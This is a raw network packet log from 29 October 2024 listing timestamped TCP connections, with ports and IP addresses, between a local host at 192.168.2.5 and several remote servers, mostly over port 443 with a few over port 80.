Oct 29, 2024 06:59:13.260942936 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.260961056 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.260972977 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.261008024 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.261029959 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.261035919 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.261065960 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.261429071 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.261491060 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.261514902 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.261531115 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.261537075 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.261579990 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.262362003 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.262418032 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.262459993 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.262465000 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.266382933 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.266427994 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.266433001 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.272027969 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.272070885 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.272077084 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.275099039 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.275144100 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.275149107 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.275929928 CET	49728	443	192.168.2.5	184.28.90.27
Oct 29, 2024 06:59:13.275947094 CET	443	49728	184.28.90.27	192.168.2.5
Oct 29, 2024 06:59:13.276027918 CET	49728	443	192.168.2.5	184.28.90.27
Oct 29, 2024 06:59:13.276650906 CET	49728	443	192.168.2.5	184.28.90.27
Oct 29, 2024 06:59:13.276660919 CET	443	49728	184.28.90.27	192.168.2.5
Oct 29, 2024 06:59:13.278265953 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.278310061 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.278316021 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.278456926 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.278485060 CET	443	49720	142.250.186.142	192.168.2.5
Oct 29, 2024 06:59:13.278536081 CET	49720	443	192.168.2.5	142.250.186.142
Oct 29, 2024 06:59:13.664949894 CET	443	49723	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:13.665344954 CET	49723	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:13.665365934 CET	443	49723	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:13.666570902 CET	443	49723	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:13.666727066 CET	49723	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:13.669130087 CET	443	49723	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:13.669198990 CET	49723	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:13.675863981 CET	49723	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:13.675949097 CET	443	49723	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:13.676075935 CET	49723	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:13.676100969 CET	443	49723	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:13.676112890 CET	49723	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:13.723326921 CET	443	49723	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:13.736469984 CET	49723	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:13.967605114 CET	443	49723	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:14.017731905 CET	49723	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:14.017745972 CET	443	49723	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:14.019984961 CET	49723	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:14.020087004 CET	443	49723	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:14.020189047 CET	49723	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:14.061327934 CET	49730	443	192.168.2.5	172.202.163.200
Oct 29, 2024 06:59:14.061361074 CET	443	49730	172.202.163.200	192.168.2.5
Oct 29, 2024 06:59:14.061460972 CET	49730	443	192.168.2.5	172.202.163.200
Oct 29, 2024 06:59:14.062553883 CET	49730	443	192.168.2.5	172.202.163.200
Oct 29, 2024 06:59:14.062573910 CET	443	49730	172.202.163.200	192.168.2.5
Oct 29, 2024 06:59:14.117103100 CET	443	49728	184.28.90.27	192.168.2.5
Oct 29, 2024 06:59:14.117187977 CET	49728	443	192.168.2.5	184.28.90.27
Oct 29, 2024 06:59:14.118983984 CET	49728	443	192.168.2.5	184.28.90.27
Oct 29, 2024 06:59:14.118990898 CET	443	49728	184.28.90.27	192.168.2.5
Oct 29, 2024 06:59:14.119299889 CET	443	49728	184.28.90.27	192.168.2.5
Oct 29, 2024 06:59:14.120618105 CET	49728	443	192.168.2.5	184.28.90.27
Oct 29, 2024 06:59:14.163361073 CET	443	49728	184.28.90.27	192.168.2.5
Oct 29, 2024 06:59:14.362920046 CET	443	49728	184.28.90.27	192.168.2.5
Oct 29, 2024 06:59:14.363024950 CET	443	49728	184.28.90.27	192.168.2.5
Oct 29, 2024 06:59:14.363085032 CET	49728	443	192.168.2.5	184.28.90.27
Oct 29, 2024 06:59:14.364559889 CET	49728	443	192.168.2.5	184.28.90.27
Oct 29, 2024 06:59:14.364576101 CET	443	49728	184.28.90.27	192.168.2.5
Oct 29, 2024 06:59:14.364592075 CET	49728	443	192.168.2.5	184.28.90.27
Oct 29, 2024 06:59:14.364598036 CET	443	49728	184.28.90.27	192.168.2.5
Oct 29, 2024 06:59:14.832914114 CET	443	49730	172.202.163.200	192.168.2.5
Oct 29, 2024 06:59:14.833053112 CET	49730	443	192.168.2.5	172.202.163.200
Oct 29, 2024 06:59:14.837027073 CET	49730	443	192.168.2.5	172.202.163.200
Oct 29, 2024 06:59:14.837044001 CET	443	49730	172.202.163.200	192.168.2.5
Oct 29, 2024 06:59:14.837444067 CET	443	49730	172.202.163.200	192.168.2.5
Oct 29, 2024 06:59:14.892695904 CET	49730	443	192.168.2.5	172.202.163.200
Oct 29, 2024 06:59:15.114078999 CET	49733	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:15.114100933 CET	443	49733	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:15.114379883 CET	49733	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:15.114710093 CET	49733	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:15.114721060 CET	443	49733	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:15.274365902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:15.274718046 CET	49735	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:15.279766083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:15.280020952 CET	80	49735	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:15.280103922 CET	49735	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:15.280972958 CET	49735	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:15.281004906 CET	49735	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:15.286492109 CET	80	49735	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:15.286537886 CET	80	49735	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:15.764128923 CET	49730	443	192.168.2.5	172.202.163.200
Oct 29, 2024 06:59:15.807331085 CET	443	49730	172.202.163.200	192.168.2.5
Oct 29, 2024 06:59:15.966412067 CET	443	49733	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:15.966814041 CET	49733	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:15.966826916 CET	443	49733	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:15.967149973 CET	443	49733	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:15.967217922 CET	49733	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:15.967755079 CET	443	49733	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:15.967812061 CET	49733	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:15.967993975 CET	49733	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:15.968048096 CET	443	49733	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:15.968220949 CET	49733	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:15.968220949 CET	49733	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:15.968234062 CET	443	49733	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:16.016921043 CET	443	49730	172.202.163.200	192.168.2.5
Oct 29, 2024 06:59:16.016979933 CET	443	49730	172.202.163.200	192.168.2.5
Oct 29, 2024 06:59:16.017000914 CET	443	49730	172.202.163.200	192.168.2.5
Oct 29, 2024 06:59:16.017028093 CET	443	49730	172.202.163.200	192.168.2.5
Oct 29, 2024 06:59:16.017045021 CET	443	49730	172.202.163.200	192.168.2.5
Oct 29, 2024 06:59:16.017046928 CET	49730	443	192.168.2.5	172.202.163.200
Oct 29, 2024 06:59:16.017067909 CET	443	49730	172.202.163.200	192.168.2.5
Oct 29, 2024 06:59:16.017083883 CET	49730	443	192.168.2.5	172.202.163.200
Oct 29, 2024 06:59:16.017101049 CET	443	49730	172.202.163.200	192.168.2.5
Oct 29, 2024 06:59:16.017105103 CET	49730	443	192.168.2.5	172.202.163.200
Oct 29, 2024 06:59:16.017137051 CET	49730	443	192.168.2.5	172.202.163.200
Oct 29, 2024 06:59:16.017158031 CET	49730	443	192.168.2.5	172.202.163.200
Oct 29, 2024 06:59:16.017621994 CET	49733	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:16.018048048 CET	443	49730	172.202.163.200	192.168.2.5
Oct 29, 2024 06:59:16.018143892 CET	49730	443	192.168.2.5	172.202.163.200
Oct 29, 2024 06:59:16.018153906 CET	443	49730	172.202.163.200	192.168.2.5
Oct 29, 2024 06:59:16.018265963 CET	443	49730	172.202.163.200	192.168.2.5
Oct 29, 2024 06:59:16.018316984 CET	49730	443	192.168.2.5	172.202.163.200
Oct 29, 2024 06:59:16.278616905 CET	443	49733	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:16.330121040 CET	49733	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:16.330131054 CET	443	49733	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:16.331679106 CET	49733	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:16.331707954 CET	443	49733	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:16.331835985 CET	443	49733	142.250.186.46	192.168.2.5
Oct 29, 2024 06:59:16.331902027 CET	49733	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:16.331916094 CET	49733	443	192.168.2.5	142.250.186.46
Oct 29, 2024 06:59:16.703531027 CET	80	49735	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:16.703589916 CET	49735	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:16.839677095 CET	49721	443	192.168.2.5	142.250.184.196
Oct 29, 2024 06:59:16.867383957 CET	49730	443	192.168.2.5	172.202.163.200
Oct 29, 2024 06:59:16.867393970 CET	443	49730	172.202.163.200	192.168.2.5
Oct 29, 2024 06:59:16.867424965 CET	49730	443	192.168.2.5	172.202.163.200
Oct 29, 2024 06:59:16.867432117 CET	443	49730	172.202.163.200	192.168.2.5
Oct 29, 2024 06:59:16.874243021 CET	49735	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:16.882812977 CET	80	49735	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:17.654197931 CET	80	49735	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:17.654289007 CET	49735	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:18.067356110 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:18.067392111 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:18.067503929 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:18.067915916 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:18.067926884 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:18.794807911 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:18.794891119 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:18.797887087 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:18.797907114 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:18.798167944 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:18.810873032 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:18.855329990 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.028090000 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.028107882 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.028160095 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.028187037 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.028222084 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.028242111 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.028265953 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.053451061 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.053467035 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.053540945 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.053574085 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.053616047 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.143762112 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.143776894 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.143853903 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.143887997 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.143928051 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.168823957 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.168844938 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.168905020 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.168947935 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.168968916 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.169002056 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.171227932 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.171246052 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.171297073 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.171330929 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.171370983 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.211819887 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.211834908 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.211905956 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.211939096 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.212013006 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.259861946 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.259884119 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.259947062 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.259974003 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.260018110 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.283999920 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.284013987 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.284077883 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.284112930 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.284231901 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.284233093 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.284956932 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.284971952 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.285027981 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.285043001 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.285087109 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.286344051 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.286360025 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.286420107 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.286427021 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.286462069 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.291801929 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.375025034 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.375041962 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.375111103 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.375128984 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.375174999 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.398947954 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.398966074 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.399056911 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.399068117 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.399110079 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.399615049 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.399631023 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.399689913 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.399698019 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.399738073 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.400130987 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.400177002 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.400197983 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.400234938 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.498622894 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.726099968 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.726140022 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.726155996 CET	49739	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.726161957 CET	443	49739	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.810286045 CET	49741	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.810326099 CET	443	49741	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.810424089 CET	49741	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.811322927 CET	49742	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.811363935 CET	443	49742	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.812196016 CET	49742	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.813050985 CET	49743	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.813061953 CET	443	49743	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.813111067 CET	49743	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.815479994 CET	49743	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.815498114 CET	443	49743	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.815557003 CET	49741	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.815567970 CET	443	49741	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.815634966 CET	49742	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.815650940 CET	443	49742	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.816935062 CET	49744	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.816972017 CET	443	49744	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.817142010 CET	49744	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.817837000 CET	49744	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.817852020 CET	443	49744	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.818681955 CET	49745	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.818721056 CET	443	49745	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:19.818902969 CET	49745	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.819168091 CET	49745	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:19.819183111 CET	443	49745	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:20.536645889 CET	443	49743	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:20.550934076 CET	443	49741	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:20.553783894 CET	443	49744	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:20.556591034 CET	443	49745	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:20.557482004 CET	443	49742	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:20.581655979 CET	49743	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:20.600131035 CET	49744	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:20.600147963 CET	49741	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:20.600152016 CET	49745	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:20.600157022 CET	49742	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:20.986118078 CET	49742	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:20.986171007 CET	443	49742	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:20.989275932 CET	49742	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:20.989295006 CET	443	49742	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:20.989701033 CET	49745	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:20.989722967 CET	443	49745	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:20.990199089 CET	49745	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:20.990205050 CET	443	49745	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:20.990478992 CET	49744	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:20.990511894 CET	443	49744	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:20.991046906 CET	49744	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:20.991053104 CET	443	49744	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:20.991322041 CET	49743	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:20.991338968 CET	443	49743	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:20.991731882 CET	49743	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:20.991739988 CET	443	49743	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:20.992134094 CET	49741	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:20.992146969 CET	443	49741	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:20.996721983 CET	49741	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:20.996726990 CET	443	49741	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:21.926196098 CET	443	49745	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:21.926352024 CET	443	49745	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:21.926388979 CET	443	49743	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:21.926409960 CET	443	49743	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:21.926424026 CET	49745	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:21.926465034 CET	49743	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:21.926475048 CET	443	49743	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:21.926517010 CET	49743	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:21.927946091 CET	443	49744	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:21.928009987 CET	443	49744	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:21.928061962 CET	49744	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:21.928088903 CET	443	49744	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:21.928309917 CET	443	49744	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:21.928360939 CET	49744	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:21.928458929 CET	443	49742	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:21.928627968 CET	443	49742	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:21.928719997 CET	49742	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:21.929707050 CET	443	49741	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:21.929728031 CET	443	49741	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:21.929775953 CET	49741	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:21.929786921 CET	443	49741	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:21.929828882 CET	49741	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:21.929977894 CET	443	49741	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:21.930013895 CET	443	49741	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:21.930049896 CET	49741	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.358206987 CET	49745	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.358231068 CET	443	49745	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:22.358244896 CET	49745	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.358252048 CET	443	49745	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:22.359918118 CET	49748	443	192.168.2.5	94.245.104.56
Oct 29, 2024 06:59:22.359945059 CET	443	49748	94.245.104.56	192.168.2.5
Oct 29, 2024 06:59:22.359992981 CET	49748	443	192.168.2.5	94.245.104.56
Oct 29, 2024 06:59:22.376584053 CET	49744	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.376596928 CET	443	49744	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:22.376617908 CET	49744	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.376625061 CET	443	49744	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:22.384687901 CET	49742	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.384717941 CET	443	49742	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:22.384746075 CET	49742	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.384758949 CET	443	49742	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:22.385819912 CET	49741	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.385834932 CET	443	49741	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:22.385849953 CET	49741	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.385857105 CET	443	49741	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:22.388184071 CET	49743	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:22.388192892 CET	443	49743	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:22.388206005 CET	49743	443	192.168.2.5	13.107.246.60
